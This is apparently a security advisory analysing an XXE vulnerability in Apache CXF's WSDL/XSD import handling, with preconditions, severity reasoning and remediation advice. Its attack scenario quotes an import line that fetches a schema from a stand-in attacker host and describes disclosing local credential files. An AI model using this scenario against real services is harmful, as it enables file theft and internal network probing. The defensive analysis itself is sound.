Apache CXF CVE-2026-65432

Exploitation requires the target Apache CXF service to process a WSDL document containing at least one <wsdl:import> or <xsd:import> element whose referenced resource is under attacker influence or control. The attacker must be able to serve a malicious XML document at the URL specified in the import element - this can be achieved by controlling the import endpoint directly, performing DNS hijacking, or conducting a man-in-the-middle attack on an unencrypted (HTTP) import URL. CXF deployments that use only self-contained WSDL with no external imports, or that resolve all imports exclusively from the local classpath, are not vulnerable regardless of CXF version. The attack does not require authentication against the CXF service itself; the vulnerability fires during the WSDL parsing pipeline. Exploitation is further limited by the requirement for the CXF process to have outbound network connectivity to the attacker's server for the import fetch, and by the file-system permissions of the CXF service process account governing what local files can be disclosed.

No vendor or NVD CVSS score is available for this CVE, requiring all metric estimates to be independently assessed from the description. The vulnerability class (CWE-611) is well-understood and high-impact when exploitable, commonly yielding local file reads (credentials, private keys, /etc/passwd) and SSRF that can pivot into internal networks. The key limiting factor is that the attacker must control or inject content at a URL referenced by the target service's WSDL import chain - this is moderate attack complexity (AC:H in CVSS 3.1 terms) rather than a trivially mass-exploitable condition. The absence of a CISA KEV listing and lack of any referenced POC suggest no confirmed widespread exploitation at time of analysis, though absence from KEV is not a confirmation of safety. Risk is highest for CXF deployments that resolve WSDL imports from external or semi-trusted network locations; deployments using only local, classpath-embedded WSDL with no remote imports have materially reduced exposure. Three active release branch patches are available, making remediation straightforward - this should be treated as a priority upgrade rather than a low-severity finding, given the potential impact of XXE in a privileged service process.

An attacker who controls a publicly accessible web server crafts a malicious XSD file containing a DOCTYPE declaration with an external entity pointing to a sensitive local file on the target server, such as a database credentials file or /etc/passwd. A CXF service under attack has a top-level WSDL that contains an <xsd:import schemaLocation="https://attacker.example.com/evil.xsd"/> reference - either because the attacker poisoned a shared schema endpoint, performed a DNS hijack on the original import URL, or was able to influence the WSDL import configuration. When the CXF service initializes or reloads its WSDL, WSDL4J fetches and parses the attacker's XSD without XXE protections, resolves the external entity against the local filesystem, and the file contents are included in a subsequent SOAP fault or service response observable by the attacker. No public exploit code has been identified at time of analysis.